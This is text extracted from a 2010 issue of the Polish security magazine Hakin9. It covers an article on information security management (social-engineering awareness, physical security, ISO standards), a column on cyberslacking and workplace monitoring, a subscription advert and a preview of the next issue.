przeciwdziałania atakom socjotechnicznym.
W trakcie szkoleń należy uświadamiać
pracownikom potencjalną możliwość
Atrybuty bezpieczeństwa informacji wg PN-I-13335-1
•
•
•
•
•
•
•
•
Poufność (confidentiality) – właściwość zapewniająca, że informacja nie jest udostępniana
lub ujawniana nieautoryzowanym osobom, podmiotom lub procesom.
Autentyczność (authenticity) – właściwość zapewniająca, że tożsamość podmiotu
lub zasobu jest taka, jak deklarowana; autentyczność dotyczy takich podmiotów jak:
użytkownicy, procesy, systemy i informacja.
Dostępność (availability) – właściwość bycia dostępnym i możliwym do wykorzystania
na żądanie, w założonym czasie przez autoryzowany podmiot.
Integralność danych (data integrity) – właściwość zapewniająca, że dane nie zostały
zmienione lub zniszczone w sposób nieautoryzowany.
Integralność systemu (system integrity) – właściwość polegająca na tym, że system
realizuje swoją zamierzoną funkcję w nienaruszony sposób, wolny od nieautoryzowanej
manipulacji, celowej lub przypadkowej.
Integralność (integrity) – integralność danych i integralność systemu.
Rozliczalność (accountability) – właściwość zapewniająca, że działania podmiotu mogą
być przypisane w sposób jednoznaczny tylko temu podmiotowi.
Niezawodność (reliability) – właściwość oznaczająca spójne, zamierzone zachowanie i skutki.
74 HAKIN9 1/2010
ataków socjotechnicznych. Pracownicy
na ogół nie czują zagrożenia, wydaje
im się, że są odporni na typowe ataki
socjotechniczne, stąd poczucie tzw.
fałszywego bezpieczeństwa. Rodzi się tu
pytanie, czy jesteśmy zagrożeni atakiem
socjotechnicznym.
Jak wynika ze statystyk, właściwym
pytaniem jest, kiedy nastąpi atak. Chodzi
o to, aby nie dać się zaskoczyć i być
przygotowanym na jego odparcie.
Program szkolenia pracowników
powinien obejmować analizę typowych
źródeł ataków socjotechnicznych, takich
jak: rozmowa telefoniczna, fax, e-mail,
strona WWW, kontakt osobisty oraz metody
obrony. Należy również przedstawić
szkolonym potencjalne skutki ataku, w
postaci strat finansowych, utraty prestiżu,
utraty konkurencyjności instytucji, utraty
prywatności pracowników – wycieku
danych osobowych, itp. W celu sprawdzenia
stanu bezpieczeństwa organizacji oraz
podatności jej pracowników na ataki
socjotechniczne wskazane jest okresowe
przeprowadzanie audytów bezpieczeństwa.
Skuteczność powyższych działań
zależy w głównej mierze od ustanowienia
jasnych, prostych i zwięzłych procedur
bezpieczeństwa oraz ciągłego
motywowania pracowników do ich
przestrzegania.
Polityka bezpieczeństwa organizacji
powinna zniechęcać do odstępowania od
procedur bezpieczeństwa poprzez system
kar i nagród. Należy wpoić pracownikom
zakaz udostępniania informacji, za
Zagrożenia
dla zasobów
informatycznych
•
•
•
•
•
•
•
•
•
Ogień.
Woda.
Zakłócenia w dostawach energii
elektrycznej.
Zniszczenie mechaniczne sprzętu.
Nieautoryzowany dostęp.
Oprogramowanie szkodliwe.
Nieautoryzowane wykorzystanie
sprzętu i oprogramowania.
Nieprzestrzeganie prawa, w tym
prawa autorskiego.
Kradzież sprzętu, oprogramowania,
danych.
BEZPIECZEŃSTWO INFORMACJI
wyjątkiem informacji publicznych, do
momentu pozytywnej weryfikacji tożsamości
rozmówcy. Weryfikacja, weryfikacja i jeszcze
raz weryfikacja tożsamości pytającego,
to podstawa skutecznego zapobiegania
atakom socjotechnicznym.
Należy również zwrócić szczególną
uwagę na firmy wykonujące usługi
sprzątania i usługi ochrony fizycznej.
Organizacje bardzo często dość liberalnie
postępują w tych kwestiach. Powinniśmy
pamiętać o przeszkoleniu pracowników tych
firm w zakresie procedur bezpieczeństwa
instytucji, a zwłaszcza uczulić na kwestie
związane z kontrolą dostępu, dostępem
osób nieuprawnionych na teren organizacji.
Jedyną tak naprawdę skuteczną
metodą ochrony przed atakiem
socjotechnicznym jest zastosowanie
zabezpieczeń technologicznych
w kombinacji z procedurami
bezpieczeństwa. Procedury te powinny
określać podstawowe zasady
zachowania się pracowników.
Z jednej strony czynnik ludzki
stanowi najsłabszy element systemu
bezpieczeństwa, z drugiej strony jest jego
najsilniejszym ogniwem.
Jedynie te instytucje, które zainwestowały
w kapitał ludzki mogą czuć się bezpiecznie,
gdyż bezpieczeństwo informacji to przede
wszystkim stan świadomości.
Kształtowanie świadomości
pracowników to najlepsza, najbardziej
skuteczna, najtańsza i wciąż niedoceniana
metoda ochrony informacji, na którą stać
wszystkich przedsiębiorców bez względu
na wielkość instytucji. Poddaję to pod
rozwagę kierujących organizacjami.
Bezpieczeństwo
fizyczne i środowiskowe
Ochrona fizyczna jest najstarszą
metodą ochrony zasobów materialnych
i informacyjnych. Stanowi pierwszą
linię obrony. Jeżeli w przedsiębiorstwie
nie wdrożono podstawowych środków
ochrony fizycznej, to nie możemy
mówić o jakimkolwiek bezpieczeństwie.
Zastosowane środki ochrony fizycznej
kształtują wizerunek firmy wśród klientów i
zapewniają poczucie bezpieczeństwa jej
pracownikom.
Norma ISO 17799 dotycząca
zarządzania bezpieczeństwem informacji
stanowi, że celem bezpieczeństwa
fizycznego i środowiskowego jest
zapobieganie nieuprawnionemu dostępowi,
uszkodzeniom i ingerencji w pomieszczenia
instytucji i jej informacje. Natomiast
urządzenia do przetwarzania krytycznych
lub wrażliwych informacji powinny być
ulokowane w obszarach bezpiecznych,
chronionych wyznaczonym obwodem
zabezpieczającym z odpowiednimi
barierami i kontrolą wstępu.
Organizacje, często nie doceniają
mechanizmów ochrony fizycznej. Brak
odpowiednich zabezpieczeń fizycznych
może nieść za sobą katastrofalne
skutki, począwszy od kradzieży sprzętu,
komputerowych nośników informacji, czy
też awarii zasilania lub systemu klimatyzacji.
Brak zasobów, ich uszkodzenie, czy też ich
niedostępność może zakłócić ciągłość
funkcjonowania instytucji i realizacji przez
nią zadań statutowych.
Skuteczny system ochrony fizycznej
ma uniemożliwić dostęp osobom
nieuprawnionym do budynków i
pomieszczeń instytucji. Poprawnie
wyznaczone strefy dostępu (właściwie
zlokalizowane), odpowiednio zabezpieczone
pomieszczenia oraz skuteczna kontrola
dostępu (kontrola wejść i wyjść oraz
przebywania) gwarantują realizację
przyjętego w organizacji poziomu
bezpieczeństwa firmy.
Ważnym aspektem ochrony fizycznej
jest system przepustek (identyfikatorów)
lub inny system uprawniający do wejścia,
przebywania i wyjścia ze stref dostępu,
zasady przyznawania i odbierania
uprawnień do przebywania w strefach
dostępu oraz okresowa kontrola uprawnień.
W ten sposób możemy mieć pewność,
że uprawnienia dostępu mają tylko
upoważnione osoby. Bardzo przydatne są tu
systemy telewizji dozorowej wraz z chronioną
rejestracją obrazu. Cyfrowe rejestratory
obrazu zapewniają długi czas nagrań i
mogą zostać użyte do celów dowodowych
w przypadku incydentu. Należy również
Najczęściej popełniane błędy
•
•
•
•
•
•
•
•
Brak zasad dotyczących ochrony informacji w firmie.
Brak założeń bezpieczeństwa dla systemów teleinformatycznych.
Brak zasad stałego monitorowania systemów teleinformatycznych i usuwania błędów.
Brak zasad bezpieczeństwa korzystania z Internetu.
Brak przeprowadzania analizy zagrożeń i ryzyka dla systemów teleinformatycznych.
Brak zdefiniowania sytuacji kryzysowych.
Brak procedur postępowania w sytuacjach kryzysowych.
Brak szkoleń pracowników – niska kultura ochrony informacji.
Organizacja bez wdrożonego
systemu zarządzania bezpieczeństwem informacji
•
•
•
Brak koordynacji polityki bezpieczeństwa pomiędzy różnymi jednostkami organizacyjnymi
(departament IT, ochrona fizyczna, pion ochrony informacji niejawnych).
Koncentracja na zabezpieczeniach.
Wydatki na bezpieczeństwo traktowane jako koszt działania.
Organizacja z wdrożonym systemem
zarządzania bezpieczeństwem informacji
•
•
•
•
•
Standaryzacja bezpieczeństwa informacji w całej organizacji – stworzenie odpowiednich
struktur nadzorczych.
Koncentracja na analizie ryzyka.
Wydatki na bezpieczeństwo traktowane jako inwestycja (możliwość wyznaczenia
wskaźnika zwrotu z inwestycji).
Przewaga marketingowa na rynku.
Możliwość niezależnej certyfikacji.
1/2010 HAKIN9
75
BEZPIECZNA FIRMA
pamiętać o procedurach organizacyjnych
obejmujących: eskortowanie gości,
zamykanie drzwi i okien w pomieszczeniach,
zarządzanie kluczami do pomieszczeń
(szczelny system przechowywania
kluczy do pomieszczeń chronionych
użytku bieżącego i zapasowych), nadzór
nad pracą personelu pomocniczego,
zwłaszcza sprzątaniem pomieszczeń
i pracą personelu serwisowego,
przechowywanie kopii zapasowych w
zabezpieczonych pomieszczeniach (jak
najbardziej odległych w pionie i poziomie
od miejsc ich wytworzenia) w specjalnych
szafach ogonioodpornych, służących
do przechowywania komputerowych
nośników informacji oraz zapewnienie
dostępności aktualnej dokumentacji
technicznej (zasilania, okablowania, sprzętu,
oprogramowania, planów awaryjnych i
planów ciągłości działania). W przypadku
podjęcia decyzji o outsourcingu usług
ochrony fizycznej pamiętajmy o sprawdzeniu
koncesji firmy ochrony oraz licencji zarówno
pracowników ochrony, jak i pracowników,
którzy projektują, instalują, a później
konserwują nasze systemy zabezpieczenia
technicznego (systemy kontroli dostępu,
systemy sygnalizacji włamania i napadu,
systemy sygnalizacji pożarowej, czy systemy
telewizji dozorowej).
Polityka w zakresie ochrony fizycznej
instytucji powinna wynikać z jej strategii
biznesowej. Dobór zabezpieczeń należy
wykonywać w oparciu o przeprowadzaną
okresowo analizę ryzyka. Zastosowane
zabezpieczenia powinny być współmierne
do zidentyfikowanych zagrożeń. Z uwagi
na koszty należy rozważyć wdrożenie
następujących środków ochrony:
Zintegrowany system zarządzania – korzyści
•
•
•
•
•
•
•
•
•
Objęcie systemem wszystkich obszarów działalności firmy.
Zwrócenie szczególnej uwagi na wartość informacji i jej znaczenie.
Prowadzenie analizy ryzyka i zarządzania ryzykiem.
Zwiększenie zainteresowania technologiami informatycznymi.
Opracowanie planów zapewnienia ciągłości działania.
Zastosowanie podejścia procesowego i ciągłego doskonalenia.
Jednolita dokumentacja i terminologia.
Zbliżone zasady audytowania.
Niższe koszty przygotowania i wdrożenia zintegrowanego systemu.
Struktura normy PN-ISO/IEC 17799: 2007 Technika
informatyczna – Techniki bezpieczeństwa – Praktyczne
zasady zarządzania bezpieczeństwem informacji
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
Przedmowa
Wprowadzenie.
Zakres normy.
Terminy i definicja.
Struktura normy.
Szacowanie ryzyka i postępowanie z ryzykiem.
Polityka bezpieczeństwa.
Organizacja bezpieczeństwa informacji.
Zarządzanie aktywami.
Bezpieczeństwo zasobów ludzkich.
Bezpieczeństwo fizyczne i środowiskowe.
Zarządzanie systemami i sieciami.
Kontrola dostępu.
Pozyskiwanie, rozwój i utrzymanie systemów informacyjnych.
Zarządzanie incydentami związanymi z bezpieczeństwem informacji.
Zarządzanie ciągłością działania.
Zgodność.
Bibliografia.
Indeks
76 HAKIN9 1/2010
•
działania organizacyjne (opracowanie
regulaminów, procedur),
ochrona czynna (np. wynajęcie firmy
ochrony),
ochrona bierna (wdrożenie systemu
zabezpieczeń architektonicznobudowlanych, mechanicznych i
elektronicznych: systemu włamania
i napadu, systemu kontroli dostępu,
systemu sygnalizacji pożarowej,
systemu telewizji dozorowej, systemu
nagłośnienia ewakuacyjnego
budynku, systemu zasilania
awaryjnego, zintegrowanego systemu
bezpieczeństwa) i w niezbędnym
zakresie,
asekuracja (zawarcie umowy
ubezpieczeniowej).
•
•
•
Warto zauważyć, że nie wszystkie zasoby
informacyjne warto zabezpieczać lub
chronić, należy określić poziom ryzyka
akceptowalnego. Ważne jest, aby przyjęte
rozwiązania organizacyjne, środki
zabezpieczeń i ochrony oraz asekuracja
wzajemnie się uzupełniały. Kształtowanie
właściwej polityki bezpieczeństwa
fizycznego zasobów (ochrona
osób, mienia i informacji) wymaga
kompleksowego podejścia, a nie działania
na zasadzie intuicji. Możemy wówczas
mówić o prawdziwym bezpieczeństwie,
a nie o pozorach bezpieczeństwa, tym
bardziej, że bezpieczeństwo fizyczne
sporo kosztuje. Poddaję to pod rozwagę
zarządzającym organizacjami.
Bezpieczeństwo
dokumentów, nośników
oraz ich obieg
Podstawowym warunkiem ładu
dokumentacyjnego w organizacji jest
Źródła wycieku
informacji
•
•
•
•
•
•
•
•
•
Poczta elektroniczna.
Komunikatory internetowe.
Płyty CD/DVD.
Pamięci USB.
Sieci bezprzewodowe.
Podkupywanie pracowników.
Kradzież sprzętu.
Podsłuchy.
Szpiegostwo gospodarcze.
BEZPIECZEŃSTWO INFORMACJI
ustalenie systemu obiegu dokumentów i
nośników oraz systemu przechowywania
i archiwizowania dokumentów. Instrukcje
wewnętrzne ustalające ład dokumentacyjny
(instrukcja kancelaryjna, instrukcja
archiwalna) tworzy się na podstawie
obowiązujących przepisów prawa,
wymagań otoczenia instytucjonalnego oraz
potrzeb biznesowych. Instrukcje te powinny
uwzględniać również zasady postępowania
z dokumentami elektronicznymi.
Ład dokumentacyjny określają
przede wszystkim: ustawa o narodowym
zasobie archiwalnym i archiwach
oraz rozporządzenia wykonawcze
do ustawy, przepisy podatkowe,
przepisy o rachunkowości, przepisy
o ubezpieczeniach społecznych i
zdrowotnych, o rentach i emeryturach,
przepisy prawa pracy oraz inne przepisy.
Zapewnienie bezpieczeństwa
dokumentów, wymaga oprócz zgodności z
przepisami prawa, stosowania prawidłowej
rejestracji dokumentów wpływających
do firmy, również tych, które wpłynęły
drogą elektroniczną i nadzorowania ich
obiegu. Najlepiej, aby odbieg dokumentów
odbywał się za potwierdzeniem odbioru.
Dla dokumentów zawierających informacje
poufne, np. stanowiące tajemnicę
przedsiębiorstwa (posiadającą wartość
gospodarczą) należy opracować
procedury związane z kopiowaniem
dokumentów, procedury przechowywania
i archiwizacji oraz procedury wynoszenia
komputerowych nośników informacji
Struktura normy PN-ISO/IEC 27001: 2007
Technika informatyczna – Techniki bezpieczeństwa
– Systemy zarządzania bezpieczeństwem informacji
– Wymagania
•
•
•
•
•
Przedmowa
•
0 Wprowadzenie.
•
1 Zakres normy.
•
2 Powołania normatywne.
•
3 Terminy i definicje.
•
4 System zarządzania bezpieczeństwem informacji (SZBI).
•
5 Odpowiedzialność kierownictwa.
•
6 Wewnętrzne audyty SZBI.
•
7 Przeglądy SZBI realizowane przez kierownictwo.
•
8 Doskonalenie SZBI.
Załącznik A (normatywny) Cele stosowania zabezpieczeń i zabezpieczenia.
Załącznik B (informacyjny) Zasady OECD i niniejsza Norma Międzynarodowa.
Załącznik C (informacyjny) Powiązania ISO 9001: 2000, ISO 14001: 2004 z niniejszą
Normą Międzynarodową.
Bibliografia
Reguły psychologiczne
wykorzystywane w socjotechnice
•
•
•
•
•
•
Reguła wzajemności – wymaga od ludzi, aby za otrzymane od drugiej osoby dobro
odwdzięczyć się w podobny sposób.
Reguła zaangażowania i konsekwencji – w myśl tej zasady, ludzie po dokonaniu wyboru
lub zajęciu stanowisko w jakiejś sprawie, później zachowują się konsekwentnie i zgodnie
z tym, w co wcześniej zaangażowali się.
Reguła społecznego dowodu słuszności – głosi, że to, w co wierzą lub jak zachowują się
inni ludzie, często jest podstawą naszych własnych decyzji.
Reguła lubienia i sympatii – zgodnie z tą zasadą, ludzie wolą mówić tak tym osobom,
które lubią i znają.
Reguła autorytetu – oznacza, że ludzie ulegają autorytetom, ponieważ autorytety
cechuje wiedza, mądrość i władza.
Reguła niedostępności – mówi, że ludzie przypisują większą wartość tym możliwościom,
które stają się niedostępne.
poza teren firmy, a wreszcie należy
zapewnić ochronę fizyczną pomieszczeń
z dokumentami i infrastrukturą
teleinformatyczną.
Podsumowanie
W polskich warunkach mamy zwykle
do czynienia z konglomeratem kilku
tajemnic prawnie chronionych i informacji
biznesowych chronionych we własnym
interesie. Tylko niektóre z nich: dane
osobowe, informacje niejawne, mają
przepisy wykonawcze, wymagania w
zakresie ochrony. Większość z nich nie
posiada wymagań jak je chronić, a chronić
je trzeba. W przypadku tych tajemnic, dla
których brak wymagań i wytycznych w
zakresie ochrony pomocne mogą być
standardy, zalecenia i polskie normy
dotyczące bezpieczeństwa informacji:
PN-ISO/IEC 17799: 2007 Technika
informatyczna – Techniki bezpieczeństwa
– Praktyczne zasady zarządzania
bezpieczeństwem informacji i PN-ISO/IEC
27001: 2007 Technika informatyczna
– Techniki bezpieczeństwa – Systemy
zarządzania bezpieczeństwem informacji
– Wymagania, które stanowią źródło tzw.
dobrych praktyk.
Wdrożenie systemu zarządzania
bezpieczeństwem informacji w organizacji
w oparciu o powyższe normy zapewni
właściwy, adekwatny do zagrożeń i
wymagań przepisów prawa poziom
ochrony wszystkim informacjom na
podstawie wyników analizy ryzyka.
Zachęcam do podjęcia trudu w celu
wdrożenia takiego systemu. Systemu
można nie certyfikować.
W Polsce wydanie choćby niewielkich
pieniędzy, aby chronić coś, co ma
niematerialny charakter nie zawsze
znajduje uzasadnienie. Co potrzeba, aby
zapewnić bezpieczeństwo informacji?
Trochę wiedzy, trochę procedur, trochę
dobrej woli i trochę pieniędzy. Jak wynika z
szacunkowych danych, koszty zapewnienia
bezpieczeństwa informacji stanowią około
5 % kosztów na technologie IT.
Andrzej Guzik
Andrzej Guzik – audytor systemu zarządzania
bezpieczeństwem informacji, systemu zarządzania
jakością, audytor wewnętrzny, ekspert w zakresie
ochrony informacji prawnie chronionych, redaktor
portalu www.ochronainformacji.pl.
Kontakt z autorem: [email protected]
1/2010 HAKIN9
77
FELIETON
Diagnoza:
Cyberslacking
Termin cyberslacking (w krajach anglojęzycznych występujący również
w alternatywnej wersji, jako cyberloafing lub goldbricking) w piśmiennictwie po raz
pierwszy pojawił się w drugiej połowie lat dziewięćdziesiątych XX wieku.
C
yberslacking (w Polsce znany
również jako cyberlenistwo lub
cyberszlajanie się) oznacza
używanie komputera, a w szczególności
Internetu, w godzinach pracy do
załatwiania prywatnych spraw, czy też po
prostu zapewniania sobie rozrywki.
Z początku interesowały się tym
zjawiskiem jedynie zarządy i właściciele
prywatnych firm, ale szybko okazało się,
że skutki prywaty użytkowników są bardzo
dotkliwe również dla szerokiego grona
ludzi związanych z IT.
Cyberslackerzy
są wśród nas
Nawet jeśli wydaje ci się, że twoi
podwładni pilnie pracują i nie obijają się,
są to tylko pozory, które w przypadku
cyberslackingu można przy niewielkim
nakładzie pracy łatwo podtrzymywać.
Cyberslackerzy są wszędzie. Statystyki
są w tym względzie nieubłagane i
nie pozostawiają żadnych złudzeń.
Według amerykańskich źródeł 90%
procent pracowników posiadających
dostęp do Internetu nadużywa go do
celów prywatnych w godzinach pracy.
Co ciekawe, światowymi liderami
cyberslackingu nie są wcale, jak
można by przypuszczać, Amerykanie,
a Chińczycy. Jak wynika z sondażu
Web@Work przeprowadzonego przez
firmę Websense, to właśnie Chińczycy
78 HAKIN9 1/2010
są najmniej wydajnymi pracownikami,
ponieważ średnio ponad godzinę dziennie
marnują na zabawy online, a w każdym
razie do takiego okresu się przyznają, bo
faktyczny czas może być dużo dłuższy.
Inne badania, przeprowadzone na terenie
Wielkiej Brytanii, wykazały, że cyberslacking
jest winny obniżenia wydajności, a co za
tym idzie również zysków firm, o około 15%
w skali roku.
Jak na tym tle prezentują się
Polacy? Z raportu firmy badawczej
Gemius wynika, że nie mamy powodów
do chluby. Około 93% pracowników
przyznaje się do cyberslackingu, przy
czym, co ciekawe, zaledwie jedna trzecia
wszystkich przebadanych uważa, że tego
typu praktyki są nieuczciwe względem
pracodawcy. Jeszcze mniej, bo zaledwie
20% respondentów, jest przekonanych
o negatywnym wpływie cyber-rozrywek
na wykonywaną pracę. Alarmująco
wygląda średni czas poświęcany
prywacie, który oscyluje wokół jednej lub
dwóch godzin – zależnie od tego czy
pytanie dotyczy ankietowanego, czy jego
współpracowników.
Co z tego wynika? Choćby to, że
polscy pracownicy nudzą się w godzinach
pracy, że nie dostrzegają zagrożeń
wynikających z nadużywania sieci, a brak
reakcji ze strony swych zwierzchników
oraz działu IT traktują jako milczące
przyzwolenie. Dezynwoltura pracowników w
kwestiach związanych z cyberslackingiem
właściwie nie ma granic. W Sieci można
znaleźć wiele wypowiedzi cyberslackerów,
którzy nie dość, że nie widzą niczego
złego w tym procederze, to jeszcze za
jego rozpowszechnienie obwiniają swych
pracodawców… i niestety po części mają
rację. Niektórzy z nich prowadzą blogi oraz
osobne strony internetowe poświęcone
różnym sposobom zabijania czasu w
pracy, a także sztuczkom, przy pomocy
których można przechytrzyć zwierzchnika.
Co sprytniejsi wyczuli w
cyberslackerach nowe źródło dochodu.
Sztandarowym przykładem może być
amerykański serwis z grami on-line
Gamesville.com, który nonszalancko
reklamuje się sloganem Marnujemy twój
czas od 1996. Można by też pokusić się
o stwierdzenie, że polskie serwisy takie
jak choćby Nasza-klasa.pl, Allegro.pl,
czy Pudelek.pl, znacznie obniżyłyby swe
notowania w statystykach odwiedzin,
gdyby uniemożliwić dostęp do nich w
godzinach pracy.
Zagrożenia,
skutki uboczne i powikłania
Cyberslacking kosztuje dużo. Czasem o
wiele więcej niż organizacja jest w stanie
zapłacić, co tyczy się zwłaszcza małych
i średnich jednostek. Prócz strat, które
można przeliczyć na konkretne kwoty, są
również szkody o charakterze trudniejszym
do zmierzenia, takie jak utrata dobrej opinii
w oczach partnerów biznesowych, czy
ściągnięcie na siebie rozmaitych sankcji
prawnych.
Magia liczb ma to do siebie, że
potrafi najlepiej uzmysłowić skalę
problemu. Według szacunkowych danych
opublikowanych przez tygodnik Przekrój
(nr 12/2008) cyberlenistwo polskich
pracowników kosztuje prawie 74 miliardy
złotych rocznie.
Skoro wiemy już ile kosztuje
utrzymywanie na posadzie cyberleni, czas
zastanowić się nad pośrednimi skutkami
zabaw w pracy, które choć otwarcie nie
dotykają sfery finansów, mogą kosztować
organizację znacznie więcej. Pół biedy,
jeśli użytkownik ma świadomość zagrożeń
czyhających w Sieci i stara się je
przynajmniej minimalizować, ale niestety
wielu zupełnie nie zdaje sobie sprawy
z niebezpieczeństw, jakie wiążą się, na
przykład, z instalowaniem na służbowym
komputerze nielicencjonowanego
oprogramowania , czy przechowywaniem
nielegalnych plików multimedialnych.
Szerokopasmowy dostęp do Internetu
kusi, aby wykorzystać go do ściągania
pirackich plików z muzyką albo całych
filmów, które potem zapychają dyski
firmowych komputerów.
Zupełnie osobną kwestię stanowi
świadome lub czasami nieświadome
instalowanie na służbowym komputerze
nielicencjonowanego oprogramowania
i przechowywanie nielegalnych plików
multimedialnych. Szerokopasmowy dostęp
do Internetu kusi, aby wykorzystać go do
ściągania pirackich plików z muzyką albo
całych filmów, które potem zapychają
dyski firmowych komputerów. Podobnie
rzecz ma się z nielicencjonowanym
oprogramowaniem. Nietrudno jest przecież
ominąć licencję i zupełnie za darmo
korzystać z, dajmy na to, dobrodziejstw
posiadania drogiego programu do
obróbki grafiki. Użytkownicy w znakomitej
większości doskonale zdają sobie sprawę,
że to co robią jest niezgodne z prawem,
jednak brak świadomości konsekwencji
na jakie potencjalnie narażają siebie,
dział IT i pracodawcę, a także poczucie
bezkarności oraz brak kontroli, często
biorą górę. Co smutne, skutki prawne i
finansowe lekkomyślnego postępowanie
użytkowników dotykają głównie
informatyków oraz osób zarządzających.
Jak leczyć?
Z cyberslackingiem użytkowników
wygrać jest niezmiernie trudno, ale na
szczęście istnieje kilka metod skutecznie
go ograniczających. Najprostszym
sposobem jest blokowanie dostępu do
niepożądanych witryn WWW na firewallu.
Użytkownik nie będzie trwonić czasu
na, dajmy na to, szukanie znajomych
ze szkolnej ławy czy czytanie plotek,
bo po prostu nie będzie mógł się z
niepożądanymi stronami internetowymi
połączyć. Metoda o tyle skuteczna, o ile
na bieżąco aktualizowana będzie lista
newralgicznych stron, ale znając realia
Internetu zawsze znajdzie się jakaś nowa,
absorbująca, niezablokowana witryna.
Poczynania pracowników można
oczywiście monitorować w bardziej
staroświecki sposób stosując metodę
niespodziewanych nalotów na stanowiska
pracy. Sposób trącący szkolną ławą,
którego skuteczność jest dyskusyjna,
a jego zastosowanie ograniczone do
pracowników niewielkich firm. Podglądanie
monitorów zza czyichś pleców jest mocno
denerwujące dla obu stron i raczej mało
poważne. Z pewnością nie jest to metoda
godna polecenia.
Jeżeli chodzi o kwestię legalności
oprogramowania, dobrym posunięciem
jest zatrudnienie profesjonalnej firmy
audytorskiej, pod warunkiem, że audyty
wykonywać będziemy regularnie,
a dodatkowo zaopatrzymy się w
oprogramowanie, które na bieżąco
monitorować będzie zmiany w
instalowanych aplikacjach.
Najczęściej stosowanym
rozwiązaniem do walki z cyberslackingiem
jest instalacja oprogramowania
monitorującego aktywność użytkowników,
ścieżki ich wędrówek w cyberprzestrzeni
oraz zmiany jakich dokonali w
zainstalowanym oprogramowaniu.
Tego typu aplikacje (takie jak np. nasz
rodzimy system statlook, czy amerykański
spector pro) umożliwiają obserwację,
które spośród stron internetowych dany
użytkownik szczególnie sobie upodobał
oraz ile czasu spędza na wykonywaniu
swoich obowiązków, a ile zajmują mu
czynności niezwiązane z pracą, bądź
wręcz zagrażające bezpieczeństwu
organizacji. Warto również sprawdzić, czy
system umożliwia przeprowadzenie audytu
legalności oprogramowania, a także czy
monitorowanie aktywności użytkowników
odbywa się bez wnikania w treść maili
i prywatnych rozmów. Polskie prawo
zezwala na taki statystyczny monitoring,
jeżeli pracownicy są o nim poinformowani,
czy to w formie aneksu do umowy, czy np.
zapisu w regulaminie pracy.
Jedno jest pewne, dopóki pracownicy
będą korzystać z komputerów zjawisko
cyberslackingu nie zniknie, więc skoro
trudno jest je całkowicie wyeliminować,
może lepiej poznać wroga i skutecznie go
kontrolować.
BadPirate
W Sieci
•
•
•
•
•
•
•
•
http://english.people.com.cn/200508/18/eng20050818_203246.html,
http://www.websense.com/global/en/,
http://www.independent.ie/unsorted/features/cyber-slackers-86386.html,
http://www.gemius.pl/pl/aktualnosci/2008-01-24/01,
http://blogs.reuters.com/ask/2007/08/29/are-you-cyberslacking-click-here/,
http://www.ishouldbeworking.com/,
http://www.ultrathought.com/how-to-beat-the-company-firewall,
Test uzależnienia od Internetu – http://www.aplusc-systems.com/test_uzaleznienia.html
1/2010 HAKIN9
79
Roczna prenumerata
tylko
249,-
hakin9 – jak się obronić to ukazujący się w dwudziestu
czterech krajach Europy magazyn o bezpieczeństwie.
hakin9 porusza sprawy związane z bezpieczeństwem systemów informatycznych – rozpatrywane zarówno od strony osoby naruszającej bezpieczeństwo, jak i osoby, która
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabezpieczyć system przed hakerami i wszelkimi innymi zagrożeniami, oprowadzamy Czytelników po tajnikach najpopularniejszych programów antywirusowych, systemów wykrywania włamań, narzędziach, których potrzebuje każdy
administrator.
Zmiana danych
kontaktowych
Kontakt
Software Wydawnictwo
1. Telefon
EuroPress
1. Telefon
2. Fax
2. Fax
(022) 427 35 32
(022) 244 24 59
3. Online
[email protected]
4. Adres
Software Wydawnictwo
ul. Bokserska 1
02-682 Warszawa
UWAGA!
+48 22 877 20 80
22 877 20 70
3. Online
[email protected]
4. Adres
EuroPress Polska Sp. z o.o.
ul. Jana Kazimierza 46/54
01-248 Warszawa
Prenumerujesz
– zyskujesz
l
l
l
l
oszczędność
pieniędzy
szybka dostawa
prezenty
bezpieczna płatność
on–line
Tytuł
Hakin9, jak się obronić
(1 płyta CD)
Miesięcznik o bezpieczeństwie i hakingu
Zadzwoń
0
+48 22 877 20 8
(022) 427 35 32
lub zamów
mailowo!
Ilość
numerów
12
Cena
249
PLN
ZA MIESIĄC
W następnym numerze między innymi:
Aktualne informacje o najbliższym numerze
znajdziesz na naszej stronie www.hakin9.org/pl.
ATAK
BŁĘDY W PORTALACH GADUGADU.PL I NASZA-KLASA.PL
W artykule przedstawiono błędy
w najpopularniejszych serwisach
społecznościowych oraz komunikatorach,
z którymi mamy do czynienia na co
dzień.
Autor na przykładzie portalu Naszaklasa.pl przedstawi jak są dziurawe
portale społecznościowe.
ZAGROŻONE KOMÓRKI
Nowa forma zagrożenia, czyli wirusy,
robaki, trojany, spyware w wersji mobilnej.
Czy w Polsce to nadal złowieszcza pieśń
przyszłości? Jaka jest natura zagrożeń
atakujących telefony komórkowe, jak
to się dzieje, iż możliwe jest wysyłanie
SMS-ów i MMS-ów, kosztujących 7$,
bez wiedzy użytkownika czy też do
czego może służyć oprogramowanie
szpiegujące na komórki. Artykuł pokaże
architekturę Symbiana, zasadę działania
rozwiązań ochronnych oraz informacje
o tym, jak radzić sobie z mobilnymi
zagrożeniami.
ATAK NA ANONIMOWĄ SIEĆ TOR
Według dość lakonicznego opisu w
programie konferencji pozwala on
NA CD
hakin9.live bootowalna dystrybucja Linuksa
Mnóstwo narzędzi – niezbędnik hakera
Tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach
Dodatkowa dokumentacja
Pełne wersje komercyjnych aplikacji
na wykr ycie faktu połączenia dwóch
użytkowników sieci Tor stronie mającej
kontrolę nad tylko jednym węzłem
pośredniczącym w połączeniu. De
facto oznaczałoby to dość skuteczny
atak na anonimowość tej sieci, w
której każde połączenie przechodzi
przez co najmniej trzy węzły, z któr ych
żaden nie zna całej ścieżki, właśnie
w celu wyeliminowania węzłówpodsłuchiwaczy.
OBRONA
Z RFID NA TY
RFID (Radio frequency identification) to
technologia pozwalająca, za pomocą
tagów, na kontrolę dowolnego obiektu,
zaczynając od przesyłki kurierskiej oraz
banknotów, kończąc na zwierzętach,
a nawet ludziach. Ta technologia ma
niemal nieograniczone zastosowanie,
które daje możliwość niemal
nieograniczonej kontroli.
FUZZING: SZUKANIE
SŁABYCH PUNKTÓW Z RAND
W praktyce poszukiwanie wycieków
związanych z bezpieczeństwem
kodów składa się z przygotowania
fragmentu kodu oraz przebadania
go przez deweloperów pod kątem
potencjalnych problemów. Proces taki
nazywa się recenzją kodów i do tej
pory był efektywny, jednakże stosowano
go bardzo rzadko z powodu wysokich
kosztów.
Numer będzie w sprzedaży
pod koniec stycznia 2009
Redakcja zastrzega sobie prawo zmiany zawartości pisma.
82
HAKIN9 1/2010